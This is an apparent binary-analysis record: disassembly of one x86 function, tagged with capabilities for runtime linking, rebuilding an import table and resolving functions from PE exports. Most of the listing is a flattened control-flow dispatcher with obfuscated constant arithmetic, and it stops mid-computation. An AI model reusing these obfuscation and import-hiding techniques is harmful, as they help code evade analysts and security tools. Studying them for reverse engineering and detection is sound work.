Function at 0x10067c20
Capabilities:
Link many functions at runtime
Rebuild import table
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
mov eax, 0x20a0
call fcn.10087a60
mov dword [esp + 0x7c], edx
mov esi, ecx
mov eax, dword [0x10091040]
xor eax, esp
mov dword [esp + 0x209c], eax
lea eax, [esp + 0x109c]
mov dword [esp + 0x34], eax
mov eax, dword [esp + 0x34]
lea eax, [esp + 0x9c]
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x1c]
lea eax, [esp + 0x98]
mov dword [esp + 0x54], eax
mov eax, dword [esp + 0x54]
lea eax, [esp + 0x96]
mov dword [esp + 0x58], eax
mov eax, dword [esp + 0x58]
mov eax, dword [esp + 0x1c]
mov byte [eax], 0
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x100918da
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x10091924
push eax
call ebx
mov dword [esp + 0x28], eax
push 0x10091907
call edi
push 0x100918fe
push eax
call ebx
mov dword [esp + 0x5c], eax
mov eax, dword [esp + 0x5c]
push 0x10091913
push dword [esp + 0x20]
call eax
test eax, eax
sete byte [esp + 0x2f]
cmp dword [esp + 0x20b4], 0
mov eax, 0x24a6d4
mov ecx, 0x17a9c906
cmove ecx, eax
mov dword [esp + 0x78], ecx
mov ecx, 0x1725e660
mov eax, 0x12f7149d
mov edx, 0xd7ea0605
mov dword [esp + 0x4c], esi
jmp 0x10067d20
mov ecx, dword [esp + 4]
cmp ecx, 0xe65b9b74
mov ecx, 0x45d9dfa6
mov edx, 0x43080587
cmove ecx, edx
mov edx, 0x3b336def
nop word [eax + eax]
cmp edx, 0xff326c07
jg 0x10067da0
cmp edx, 0xc87a60f0
jle 0x10067e20
cmp edx, 0xde7471d1
jle 0x10067eff
cmp edx, 0xf3622283
jg 0x10068082
cmp edx, 0xec9239e0
jle 0x10068338
cmp edx, 0xeff38f2b
jg 0x100687c8
cmp edx, 0xee28142c
jg 0x1006afa6
cmp edx, 0xec9239e1
je 0x1006b8f7
cmp edx, 0xee0ec37f
jne 0x10067d20
mov ecx, dword [esp + 4]
cmp ecx, 0x2c40f546
mov ecx, 0x45d9dfa6
mov edx, 0xad23cc7
jmp 0x10067d0f
cmp edx, 0x450309a9
jg 0x10067e90
cmp edx, 0x2416afdc
jle 0x10067f60
cmp edx, 0x35f5ab31
jg 0x100680d9
cmp edx, 0x31223947
jle 0x10068383
cmp edx, 0x332a15ee
jg 0x10068807
cmp edx, 0x32650c3a
jg 0x1006afd9
cmp edx, 0x31223948
je 0x1006b912
cmp edx, 0x31cf26a2
jne 0x10067d20
mov ecx, dword [esp + 4]
cmp ecx, 0x49358656
mov ecx, 0x45d9dfa6
mov edx, 0xadc81f5c
jmp 0x10067d0f
cmp edx, 0xa3571ff7
jle 0x10067fc3
cmp edx, 0xb182aae5
jg 0x1006812e
cmp edx, 0xa6d5e783
jle 0x100683cc
cmp edx, 0xaf2d97e7
jg 0x10068844
cmp edx, 0xaa70b8f6
jg 0x1006b039
cmp edx, 0xa6d5e784
je 0x1006b92d
cmp edx, 0xa86032a7
jne 0x10067d20
mov ecx, dword [esp + 4]
cmp ecx, 0xbe0dc565
mov ecx, 0x8d5a52c8
mov edx, 0xb4884424
jmp 0x1006c8a3
cmp edx, 0x5cd41bdf
jle 0x10068026
cmp edx, 0x6c5be79d
jg 0x10068185
cmp edx, 0x5fe03a2f
jle 0x10068415
cmp edx, 0x660aeb3d
jg 0x10068883
cmp edx, 0x6383a2ac
jg 0x1006b06a
cmp edx, 0x5fe03a30
je 0x1006b946
cmp edx, 0x6021a2d2
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0x3b5ba02d
mov edx, 0x57024a1
mov ebp, 0xbc4e5ea7
cmove edx, ebp
jmp 0x10067d20
cmp edx, 0xd2308d34
jle 0x100681dc
cmp edx, 0xd82ec510
jle 0x1006845e
cmp edx, 0xdc49e400
jg 0x100688c2
cmp edx, 0xdbb5fab9
jg 0x1006b09d
cmp edx, 0xd82ec511
je 0x1006b955
cmp edx, 0xd9b743ef
jne 0x10067d20
mov ecx, dword [esp + 4]
cmp ecx, 0xb5320e57
mov ecx, 0x1f23d1d5
mov edx, 0x8b1f1e2d
jmp 0x1006c8a3
cmp edx, 0x14a9344c
jle 0x10068233
cmp edx, 0x1b671c0b
jle 0x100684a7
cmp edx, 0x2102b5e7
jg 0x10068901
cmp edx, 0x207465da
jg 0x1006b0d0
cmp edx, 0x1b671c0c
je 0x1006b970
cmp edx, 0x1ba72394
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0xad23cc7
mov edx, 0xb5a5dd72
mov ebp, 0x4cb3d319
cmovl edx, ebp
jmp 0x10067d20
cmp edx, 0x991dc97a
jle 0x1006828a
cmp edx, 0x9f5902a1
jle 0x100684f2
cmp edx, 0xa0bd9e3c
jg 0x1006893e
cmp edx, 0xa059a67d
jg 0x1006b0fb
cmp edx, 0x9f5902a2
je 0x1006b9a4
cmp edx, 0x9f6eca36
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0x2f81d49e
mov edx, 0x57024a1
mov ebp, 0x3eda9718
cmove edx, ebp
jmp 0x10067d20
cmp edx, 0x515fee21
jle 0x100682e1
cmp edx, 0x56d98478
jle 0x1006853d
cmp edx, 0x595e1736
jg 0x1006897b
cmp edx, 0x58d8cac9
jg 0x1006b12e
cmp edx, 0x56d98479
je 0x1006b9bf
cmp edx, 0x586244b0
jne 0x10067d20
cmp byte [esp + 0x2f], 0
mov eax, 0x5794e924
mov ecx, 0xbe0dc565
jmp 0x1006c7c7
cmp edx, 0xf784691c
jle 0x10068588
cmp edx, 0xfb3db6f2
jg 0x100689b8
cmp edx, 0xf9af8756
jg 0x1006b161
cmp edx, 0xf784691d
je 0x1006b9d8
cmp edx, 0xf8839ac3
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0xb8a51f18
mov edx, 0x57024a1
mov ebp, 0xd2308d35
cmove edx, ebp
jmp 0x10067d20
cmp edx, 0x3ce0ec34
jle 0x100685d3
cmp edx, 0x43288caa
jg 0x100689f7
cmp edx, 0x3eda9717
jg 0x1006b192
cmp edx, 0x3ce0ec35
je 0x1006b9f3
cmp edx, 0x3d3ca8c3
jne 0x10067d20
mov ecx, dword [esp + 4]
cmp ecx, 0x5d51ff87
mov ecx, 0x45d9dfa6
mov edx, 0x71c52f1a
jmp 0x10067d0f
cmp edx, 0xc2f312ef
jle 0x1006860d
cmp edx, 0xc617cf80
jg 0x1006aa37
cmp edx, 0xc563b704
jg 0x1006b1c5
cmp edx, 0xc2f312f0
je 0x1006ba0e
cmp edx, 0xc4be6ff8
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0x7328fe6e
mov edx, 0x6fa97887
mov ebp, 0xf62777b5
cmovl edx, ebp
jmp 0x10067d20
cmp edx, 0x72e03d30
jle 0x10068658
cmp edx, 0x7b4cb554
jg 0x1006aa76
cmp edx, 0x7a532d25
jg 0x1006b1f6
cmp edx, 0x72e03d31
je 0x1006ba22
cmp edx, 0x74ede375
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0xf0d2635c
mov edx, 0x5a65d6c1
mov ebp, 0xcf19ba81
cmovl edx, ebp
jmp 0x10067d20
cmp edx, 0xcd412c86
jle 0x100686a3
cmp edx, 0xcfcf378b
jle 0x1006aae5
cmp edx, 0xd127d125
jg 0x1006b229
cmp edx, 0xcfcf378c
je 0x1006ba3d
cmp edx, 0xd01131a9
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0xd597877a
mov edx, 0x57024a1
mov ebp, 0xd6611c1c
cmove edx, ebp
jmp 0x10067d20
cmp edx, 0x57024a0
jg 0x100686ee
cmp edx, 0x3a52b07
jle 0x1006ab24
cmp edx, 0x430eb31
jg 0x1006b25c
cmp edx, 0x3a52b08
je 0x1006ba58
cmp edx, 0x3e9b327
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0x8d5a52c8
mov edx, 0x7e1ae05e
mov ebp, 0x4aa6f8aa
cmovl edx, ebp
jmp 0x10067d20
cmp edx, 0x8ade6a59
jg 0x10068734
cmp edx, 0x881c5cd6
jle 0x1006ab63
cmp edx, 0x89482fed
jg 0x1006b28f
cmp edx, 0x881c5cd7
je 0x1006ba74
cmp edx, 0x8916d3e6
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0x23f890b0
mov edx, 0x3bf8ad09
mov ebp, 0x4d4b39a4
cmovl edx, ebp
jmp 0x10067d20
cmp edx, 0x4cb3d318
jg 0x1006877f
cmp edx, 0x482f4457
jle 0x1006aba2
cmp edx, 0x49509361
jg 0x1006b2c2
cmp edx, 0x482f4458
je 0x1006ba8f
cmp edx, 0x48fdfe9b
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0x96d9dad6
mov edx, 0xfc183640
mov ebp, 0xf11da424
cmovl edx, ebp
jmp 0x10067d20
cmp edx, 0xe2cd59a5
jle 0x1006abe1
cmp edx, 0xe59b14a1
jg 0x1006b2f5
cmp edx, 0xe2cd59a6
je 0x1006baaa
cmp edx, 0xe4f6f4c6
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0x83730eef
mov edx, 0x57024a1
mov ebp, 0x1b671c0c
cmove edx, ebp
jmp 0x10067d20
cmp edx, 0x2862888e
jle 0x1006ac20
cmp edx, 0x2f218330
jg 0x1006b328
cmp edx, 0x2862888f
je 0x1006bac3
cmp edx, 0x2a374957
jne 0x10067d20
mov ecx, dword [esp + 4]
cmp ecx, 0x2c40f546
mov ecx, 0x190f751e
mov edx, 0x56f09ffd
jmp 0x1006c8a3
cmp edx, 0xa433819a
jle 0x1006ac59
cmp edx, 0xa5878442
jg 0x1006b35b
cmp edx, 0xa433819b
je 0x1006bade
cmp edx, 0xa56471a0
jne 0x10067d20
mov ecx, dword [esp + 4]
cmp ecx, 0x5d51ff87
mov ecx, 0x85b9a18d
mov edx, 0xce7f16e7
jmp 0x1006c8a3
cmp edx, 0x5e9c27d9
jle 0x1006ac96
cmp edx, 0x5f597736
jg 0x1006b38e
cmp edx, 0x5e9c27da
je 0x1006baf9
cmp edx, 0x5ede595e
jne 0x10067d20
mov ecx, dword [esp + 4]
cmp ecx, 0x2402c44b
mov ecx, 0xbef975f7
mov edx, 0x8637d1ed
jmp 0x1006c8a3
cmp edx, 0xd6611c1b
jle 0x1006acd5
cmp edx, 0xd77dbe88
jg 0x1006b3dc
cmp edx, 0xd6611c1c
je 0x1006bb12
cmp edx, 0xd6d6264c
jne 0x10067d20
mov ecx, dword [esp + 4]
cmp ecx, 0x49358656
mov ecx, 0x586dba12
mov edx, 0x79574bf0
jmp 0x1006c8a3
cmp edx, 0x1893704d
jle 0x1006acfe
cmp edx, 0x198c17b2
jg 0x1006b401
cmp edx, 0x1893704e
je 0x1006bb2b
cmp edx, 0x18ff124e
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0x648f0208
mov edx, 0xc4be6ff8
mov ebp, 0x9d2a5ef5
cmovl edx, ebp
jmp 0x10067d20
cmp edx, 0x9cc7c28d
jle 0x1006ad3d
cmp edx, 0x9e0c0851
jg 0x1006b434
cmp edx, 0x9cc7c28e
je 0x1006bb4f
cmp edx, 0x9d2a5ef5
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0x586dba12
mov edx, 0xf582dcb0
mov ebp, 0x23ccbfd3
cmovl edx, ebp
jmp 0x10067d20
cmp edx, 0x5294ae0c
jle 0x1006ad7c
cmp edx, 0x5340eee1
jg 0x1006b467
cmp edx, 0x5294ae0d
je 0x1006bb6a
cmp edx, 0x52d9c2f4
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0x43efc599
mov edx, 0x991dc97b
mov ebp, 0x332a15ef
cmovl edx, ebp
jmp 0x10067d20
cmp edx, 0xf556e1c7
jle 0x1006adbb
cmp edx, 0xf61a22c3
jg 0x1006b494
cmp edx, 0xf556e1c8
je 0x1006bb83
cmp edx, 0xf582dcb0
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0x5d96001b
mov edx, 0xaa70b8f7
mov ebp, 0x881c5cd7
cmovl edx, ebp
jmp 0x10067d20
cmp edx, 0x386f9294
jle 0x1006adfa
cmp edx, 0x3bb8896b
jg 0x1006b4c7
cmp edx, 0x386f9295
je 0x1006bbc6
cmp edx, 0x3b336def
jne 0x10067d20
mov edx, 0xd7ea0605
jmp 0x10067d20
cmp edx, 0xb5a5dd71
jle 0x1006ae39
cmp edx, 0xbc189490
jg 0x1006b4fa
cmp edx, 0xb5a5dd72
je 0x1006bbe1
cmp edx, 0xbaf2c63d
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0x1ceb625e
mov edx, 0x57024a1
mov ebp, 0xa059a67e
cmove edx, ebp
jmp 0x10067d20
cmp edx, 0x6ef5192a
jle 0x1006ae78
cmp edx, 0x6fa97886
jg 0x1006b52b
cmp edx, 0x6ef5192b
je 0x1006bbfc
cmp edx, 0x6f51afc1
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0x7dd0758b
mov edx, 0x57024a1
mov ebp, 0xe2cd59a6
cmove edx, ebp
jmp 0x10067d20
cmp edx, 0xca9856f0
jle 0x1006aeb5
cmp edx, 0xcc232729
jg 0x1006b55c
cmp edx, 0xca9856f1
je 0x1006bc17
cmp edx, 0xcb69ec5e
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0xe03b48d1
mov edx, 0x9cc7c28e
mov ebp, 0x49509362
cmovl edx, ebp
jmp 0x10067d20
cmp edx, 0xdc3f4c9
jle 0x1006aef4
cmp edx, 0x12d82e92
jg 0x1006b58f
cmp edx, 0xdc3f4ca
je 0x1006bc32
cmp edx, 0x10c453d9
jne 0x10067d20
mov ecx, 0x422e24fb
mov eax, 0xa56ec294
mov edx, dword [esp + 0x98]
jmp 0x1006bbb8
cmp edx, 0x8e6afc27
jle 0x1006af31
cmp edx, 0x96f03466
jg 0x1006b5c0
cmp edx, 0x8e6afc28
je 0x1006bc4d
cmp edx, 0x95b0e934
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0x3b5ba02d
mov edx, 0x654da61a
mov ebp, 0xa05f9c22
cmovl edx, ebp
jmp 0x10067d20
cmp edx, 0x4e9a64e4
jle 0x1006af70
cmp edx, 0x50d69586
jg 0x1006b5f3
cmp edx, 0x4e9a64e5
je 0x1006bc68
cmp edx, 0x50301774
jne 0x10067d20
mov ecx, dword [esp + 4]
cmp ecx, 0xa56ec294
mov ecx, 0x45d9dfa6
mov edx, 0xff56b5dc
jmp 0x10067d0f
cmp edx, 0xf11da423
jg 0x1006b626
cmp edx, 0xeff38f2c
je 0x1006bc83
cmp edx, 0xf1021783
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0x59d695b
mov edx, 0x1ba72394
mov ebp, 0xd14439c5
cmovl edx, ebp
jmp 0x10067d20
cmp edx, 0x342026e7
jg 0x1006b659
cmp edx, 0x332a15ef
je 0x1006bc9e
cmp edx, 0x3384dca0
jne 0x10067d20
mov ecx, dword [esp + 4]
cmp ecx, 0x227c9fbd
mov ecx, 0x45d9dfa6
mov edx, 0x4e869ce1
jmp 0x10067d0f
cmp edx, 0xb084cb09
jg 0x1006b68c
cmp edx, 0xaf2d97e8
je 0x1006bcb9
cmp edx, 0xafbbec95
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0x79482892
mov edx, 0x57024a1
mov ebp, 0x3d3ca8c3
cmove edx, ebp
jmp 0x10067d20
cmp edx, 0x68097c41
jg 0x1006b6bf
cmp edx, 0x660aeb3e
je 0x1006b8a4
cmp edx, 0x6795dcd2
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0x4e869ce1
mov edx, 0xb5865887
mov ebp, 0x6ef5192b
cmovl edx, ebp
jmp 0x10067d20
cmp edx, 0xdd1c4caa
jg 0x1006b6f2
cmp edx, 0xdc49e401
je 0x1006bcd4
cmp edx, 0xdcf91fb3
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0x190f751e
mov edx, 0x57024a1
mov ebp, 0xae22d208
cmove edx, ebp
jmp 0x10067d20
cmp edx, 0x21d035d0
jg 0x1006b725
cmp edx, 0x2102b5e8
je 0x1006bcef
cmp edx, 0x2146426f
jne 0x10067d20
mov ecx, dword [esp + 4]
cmp ecx, 0x69feef85
mov ecx, 0x45d9dfa6
mov edx, 0x7db17a58
jmp 0x10067d0f
cmp edx, 0xa279eeb3
jg 0x1006b758
cmp edx, 0xa0bd9e3d
je 0x1006bd0a
cmp edx, 0xa0db0cad
jne 0x10067d20
mov ecx, dword [esp + 4]
cmp ecx, 0xd0a67771
mov ecx, 0x45d9dfa6
mov edx, 0x83730eef
jmp 0x10067d0f
cmp edx, 0x5a65d6c0
jg 0x1006b78b
cmp edx, 0x595e1737
je 0x1006bd25
cmp edx, 0x5a089d6b
jne 0x10067d20
mov ecx, dword [esp + 4]
cmp ecx, 0xbc6b2536
mov ecx, 0x1e7edb45
mov edx, 0xade8bedf
jmp 0x1006c8a3
cmp edx, 0xfc7ac5aa
jg 0x1006b7da
cmp edx, 0xfb3db6f3
je 0x1006bd40
cmp edx, 0xfc183640
jne 0x10067d20
mov edx, dword [esp]
cmp edx, 0x96d9dad6
mov edx, 0x57024a1
mov ebp, 0x586244b0
cmove edx, ebp
jmp 0x10067d20
cmp edx, 0x445687c4
jg 0x1006b80b
cmp edx, 0x43288cab
je 0x1006bd5b
cmp edx, 0x43b219f3
jne 0x10067d20
mov edi, dword [esp + 0x60]
mov dword [esp + 8], edi
mov edx, dword [esp + 0x64]
mov ecx, edi
not ecx
lea eax, [ecx + ecx]
lea esi, [edi + edi]
add esi, 1
sub esi, edi
mov edi, esi
not edi
and edi, eax
sub edi, ecx
lea edi, [esi + edi*2]
lea ecx, [edi + ecx*4]
not eax
or eax, esi
lea eax, [ecx + eax*2]
imul eax, eax, 0x343580fb
lea ecx, [eax + 0x686b01f6]
mov esi, ecx
or esi, 0xe99d78d9
add eax, esi
add eax, 0x686b01f6
mov esi, ecx
xor esi, 0x16628726
add esi, eax
and ecx, 0xe99d78d9
sub esi, ecx
imul eax, esi, 0x438f75cd
mov ecx, edx
not ecx
mov dword [esp + 0xc], ecx
lea edi, [edx + ecx*2]
add edi, 1
imul esi, edi, 0x5192a6ed
mov ecx, esi
not ecx
imul edi, edi, 0xa3254dda
and edi, 0xeab8e998
add edi, esi
and ecx, 0x755c74cc
add ecx, edi
lea edi, [eax - 0x64e4976e]
not edi
or esi, 0x8aa38b33
sub ecx, esi
imul esi, ecx, 0xa07fa6e5
and edi, 1
lea ecx, [edi + eax]
add ecx, 0x438f75cb
add eax, 0x438f75cb
mov edi, eax
xor edi, 1
add edi, ecx
or eax, 1
sub edi, eax
mov eax, 0x730770a0
sub eax, edi
sub eax, edi
add edi, 0xc67c47af
lea ecx, [edi + edi*2]
and eax, 0x730770a4
add eax, ecx
mov ecx, edi
and ecx, 0xc67c47ad
or edi, 0x3983b852
add edi, ecx
lea ebx, [esi - 0x61c92bdd]
sub eax, edi
mov edi, 0x61c92bdc
sub edi, esi
mov esi, edi
and esi, eax
mov ecx, ebx
or ecx, eax
not eax
or eax, ebx
sub ebx, esi
lea ebx, [ebx + ecx*2]
add ecx, esi
lea esi, [ebx + edi*2]
add ecx, eax
add ecx, esi
add ecx, eax
lea eax, [ecx + edi]
add ecx, edi
add ecx, 3
mov esi, ecx
xor esi, 2
add eax, esi
add eax, 3
mov esi, ecx
or esi, 0xfffffffd
add esi, eax
not ecx
or ecx, 2
add ecx, esi
imul eax, ecx, 0x3296fcd3
mov ecx, 0x35a40cb3
sub ecx, eax
and ecx, 0xfb436169
add ecx, eax
add ecx, 0x652df9a6
mov esi, 0x9da40cb3
sub esi, eax
or esi, 0xfb436169
add esi, ecx
not esi
add eax, esi
add eax, 0x5bb4bc78
imul edi, eax, 0x4002bb5b
imul ecx, eax, 0x7ffa894a
add ecx, edi
add ecx, 0x8bed5351
not ecx
lea esi, [edi + edi]
add esi, 0x7412acad
sub ecx, esi
imul eax, eax, 0xbffd44a5
lea esi, [ecx + eax]
lea ebx, [ecx + eax]
add ebx, 0x17daa6a4
lea eax, [edi + 0x7412acad]
mov ecx, ebx
and ecx, eax
lea ecx, [esi + ecx*2]
add ecx, 0x17daa6a4
mov esi, 0x8bed5352
sub esi, edi
lea ecx, [ecx + esi*2]
mov ebp, ebx
xor ebp, esi
or esi, ebx
not esi
add esi, ecx
or ebx, eax
add ebx, ebp
sub esi, ebx
and eax, esi
add esi, eax
add esi, edi
add esi, 0x7412acad
lea ecx, [edi + edi]
add ecx, 0xe825595a
sub edi, ecx
add edi, eax
sub esi, edi
lea eax, [esi*4]
mov ebp, 0xd04ab2b0
sub ebp, eax
mov eax, 0xd540340f
sub eax, ebp
sub eax, ebp
mov ebx, ebp
and ebx, 0xd540340c
mov ecx, ebp
lea edi, [ebp + 0x2abfcbf0]
add edi, ebp
or ebp, 0x2abfcbf1
add ebp, ebx
lea ebx, [esi*4 + 0x2fb54d4f]
or ebx, 0x2abfcbf0
add ebx, ebp
lea ebp, [ebx + ebx]
neg ebp
and ebp, eax
lea eax, [ebx + ebx]
add eax, 0xffffffff
or eax, edi
sub edi, ebp
lea ebp, [ebx*4]
sub edi, ebp
lea edi, [edi + ebx*2]
add edi, 0xffffffff
and ecx, 0x2abfcbf0
lea ecx, [ecx + esi*4]
sub edi, eax
mov eax, 0x365e7104
sub eax, ecx
lea eax, [edi + eax*2]
lea ecx, [eax + esi*4]
add ecx, 0x2fb54d4f
lea eax, [eax + esi*4 - 0x46f29777]
not eax
lea esi, [eax + ecx*2]
add esi, 0x12b03674
mov ecx, esi
and ecx, 0xd540340f
lea eax, [ecx*4]
shl ecx, 3
sub eax, ecx
lea edi, [esi + esi*2]
lea ebx, [eax + edi]
add ebx, edi
mov ecx, edi
not ecx
or ecx, eax
add ecx, ebx
and eax, edi
sub ecx, eax
lea eax, [ecx + 0x7fc09c31]
add esi, esi
mov ebp, 0x803f63ce
sub ebp, ecx
mov ebx, esi
xor ebx, 0x557f97e0
mov edi, eax
and edi, ebx
and ebp, ebx
add ebp, ebp
mov ecx, edi
sub ecx, ebp
add ecx, ebx
or ebx, eax
add ebx, ecx
xor esi, 0xaa80681f
or esi, eax
sub ebx, esi
not edi
add edi, ebx
imul eax, edi, 0xf0f6e0e5
mov ecx, eax
xor ecx, 0xc45c2d1f
add ecx, eax
xor eax, 0x3ba3d2e0
add eax, ecx
imul ecx, eax, 0xe38eca9f
lea eax, [ecx - 0x1c713561]
mov esi, eax
xor esi, 0xbb333de6
add esi, ecx
mov ecx, eax
not ecx
and ecx, 0x44ccc219
add ecx, esi
and eax, 0xbb333de6
add eax, ecx
imul esi, eax, 0x3d44870d
lea eax, [edx + edx*2]
not eax
mov ecx, eax
and ecx, 0xfffffffe
lea edi, [eax + eax]
sub edi, ecx
or edi, 1
and eax, 1
sub edi, eax
imul eax, edi, 0xf31dc9a3
mov ecx, eax
not ecx
imul edi, edi, 0xe63b9346
and ecx, 0x653a74c5
add ecx, edi
or eax, 0x653a74c5
sub ecx, eax
imul ecx, ecx, 0xbcb7b20b
lea eax, [esi - 0x326555e0]
mov edi, eax
xor edi, ecx
not edi
lea ebx, [esi + ecx]
add ebx, 0xcd9aaa20
add edi, ebx
mov ebx, 0x326555df
sub ebx, esi
add edi, ecx
or ebx, ecx
sub edi, ebx
and eax, ecx
not eax
add eax, edi
imul eax, eax, 0x81695e49
lea ecx, [eax - 0x7e96a1b7]
mov esi, ecx
or esi, 0xc3585903
add eax, esi
add eax, 0x81695e49
mov esi, ecx
xor esi, 0x3ca7a6fc
add esi, eax
not ecx
or ecx, 0x3ca7a6fc
add ecx, esi
imul eax, ecx, 0xbe4f3f9
lea esi, [eax - 0x393378f2]
mov ecx, esi
and ecx, 0x50fd60e4
add eax, ecx
add eax, 0xc6cc870e
or esi, 0xaf029f1b
sub esi, eax
add esi, 1
imul ecx, esi, 0x1636674b
mov edi, ecx
and edi, 0xa3dbe661
imul ebx, esi, 0x42a335e1
imul eax, esi, 0x2c6cce96
not eax
and eax, 0xb848333c
add eax, ebx
or ecx, 0x5c24199e
add ecx, edi
sub eax, ecx
imul ecx, eax, 0xc2f36a63
mov edi, ecx
not edi
imul eax, eax, 0x85e6d4c6
and edi, 0x5e74abe6
add edi, eax
or ecx, 0x5e74abe6
sub edi, ecx
imul eax, dword [esp + 8], 0x668eee65
mov ecx, eax
not ecx
mov esi, eax
xor esi, 0x3232da8f
add esi, eax
and ecx, 0xcdcd2570
add ecx, esi
and eax, 0x3232da8f
add eax, ecx
imul eax, eax, 0x7ef7136d
lea ecx, [eax - 0x193040b0]
mov esi, ecx
xor esi, 0x9827541d
add eax, esi
add eax, 0xe6cfbf50
lea ebx, [edi + 0x5e74abe6]
xor ecx, 0x67d8abe2
add eax, ecx
add eax, 0x9827541d
mov ecx, ebx
and ecx, eax
lea ecx, [edi + ecx*2]
add ecx, 0x5e74abe6
mov esi, eax
not esi
lea ecx, [ecx + esi*2]
mov edi, ebx
not edi
and edi, eax
add edi, ecx
xor esi, ebx
or ebx, eax
add ebx, esi
sub ebx, edi
mov dword [esp + 0x18], ebx
mov eax, edx
and eax, 0x871db4d2
mov ecx, edx
neg ecx
mov esi, eax
not esi
and esi, ecx
lea ecx, [edx - 1]
or ecx, eax
sub eax, esi
sub eax, edx
sub eax, edx
lea esi, [eax + edx]
add esi, 0xffffffff
sub esi, ecx
mov eax, edx
or eax, 0x871db4d2
add eax, esi
mov ecx, edx
or ecx, 0x78e24b2d
xor edx, 0x871db4d2
add edx, ecx
mov ebx, dword [esp + 0xc]
mov ecx, ebx
or ecx, 0x78e24b2d
sub edx, ecx
mov ecx, ebx
or ecx, 0x871db4d2
add ecx, edx
add eax, ecx
add eax, 0x78e24b2f
imul esi, eax, 0x1ec396a
mov ecx, esi
and ecx, 0x8cf65acc
imul edi, eax, 0x7f09e34b
add edi, ecx
mov ecx, 0x7fffffff
sub ecx, ebx
and ebx, 0x78e24b2d
imul eax, eax, 0x80f61cb5
add edi, esi
not eax
add eax, eax
or eax, 0x7309a532
add eax, edi
add eax, 0xb984d29b
mov dword [esp + 0xc], eax
imul esi, eax, 0xc822f19d
lea edi, [esi - 0x510930d5]
mov dword [esp + 0x30], edi
or ecx, 0x871db4d2
mov ebp, edi
and ebp, ecx
sub edi, ebp
mov eax, 0x510930d4
sub eax, esi
mov edx, ebx
or edx, eax
sub edx, ebp
mov dword [esp + 0x20], edx
neg ebp
add edi, esi
or eax, ebp
add eax, edi
mov edx, dword [esp + 0x30]
and ebp, edx
sub eax, ebp
mov edi, ebx
or edi, edx
add edi, eax
imul eax, dword [esp + 0xc], 0x6fba1cc6
lea ebp, [eax + esi*2]
add ebp, 0x5ded9e56
sub ebp, esi
add ebp, edi
xor ebx, edx
add ebx, dword [esp + 0x20]
mov esi, dword [esp + 8]
lea eax, [esi + esi]
or ecx, edx
add ecx, ebx
not ecx
add ecx, ebp
add ecx, 0xa21261aa
imul edx, ecx, 0xfd93492f
mov edi, edx
not edi
imul ecx, ecx, 0xfb26925e
and edi, 0xa0e451ce
add edi, ecx
or edx, 0xa0e451ce
sub edi, edx
mov dword [esp + 0xc], edi
not eax
add eax, esi
imul eax, eax, 0xac0e2963
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x38dbd15a
add edx, eax
xor eax, 0xc7242ea5
add eax, edx
or ecx, 0x38dbd15a
sub eax, ecx
imul eax, eax, 0x28d4a04b
lea ecx, [eax + 0x79c6955e]
mov edx, ecx
or edx, 0x86396aa2
not ecx
or ecx, 0x86396aa2
add ecx, edx
not ecx
lea edx, [eax + ecx]
add edx, 0x79c6955e
add eax, ecx
add eax, 0x86396aa2
mov ecx, eax
xor ecx, 0x871db4d2
add ecx, edx
add ecx, 0xc72d544
or eax, 0x871db4d2
sub ecx, eax
imul eax, ecx, 0x7ab1b4c7
mov ecx, eax
not ecx
mov edx, eax
xor edx, 0x146c1064
add edx, eax
and ecx, 0xeb93ef9b
add ecx, edx
and eax, 0x146c1064
add eax, ecx
imul eax, eax, 0x35a4ccf7
lea ebx, [eax + 0x35a4ccf7]
and esi, 0x871db4d2
mov ecx, ebx
and ecx, esi
mov dword [esp + 8], ecx
mov edi, 0xca5b3308
sub edi, eax
mov eax, edi
and eax, esi
lea ecx, [eax + ecx*2]
sub ecx, esi
mov ebp, ebx
or ebp, esi
add ecx, ebp
mov eax, esi
not eax
add ecx, eax
or eax, ebx
sub ecx, eax
xor ebx, esi
mov eax, ebx
not eax
mov edx, ecx
or edx, eax
add edx, eax
mov eax, ecx
not eax
and eax, ebx
add eax, edx
add eax, ecx
lea ecx, [esi + eax]
add ecx, 2
add eax, esi
mov edx, edi
or edx, esi
xor edi, esi
mov esi, dword [esp + 8]
lea ebx, [ebx + esi*2]
not edi
add edi, esi
add edx, ebp
sub edi, edx
mov edx, ecx
and edx, edi
add edx, eax
add edx, 2
imul eax, dword [esp + 0xc], 0xb0da9dcf
not ecx
and ecx, edi
add ecx, edx
mov edx, ebx
not edx
add edx, ebp
sub ebx, ebp
and ebx, ecx
lea esi, [ecx + ecx*2]
mov edi, ecx
not edi
and edi, edx
or edx, ecx
add edx, ebx
lea ecx, [esi + edi*2]
sub ecx, edx
imul edx, ecx, 0x7b82d92d
mov esi, edx
not esi
imul ecx, ecx, 0xf705b25a
and esi, 0x64924723
add esi, ecx
or edx, 0x64924723
sub esi, edx
imul ecx, esi, 0x8c9dea5
xor ecx, eax
lea eax, [ecx + ecx]
sub eax, ecx
imul eax, eax, 0x31e68261
mov ecx, eax
not ecx
and ecx, 0x50c89618
add ecx, eax
or eax, 0xaf3769e7
add eax, ecx
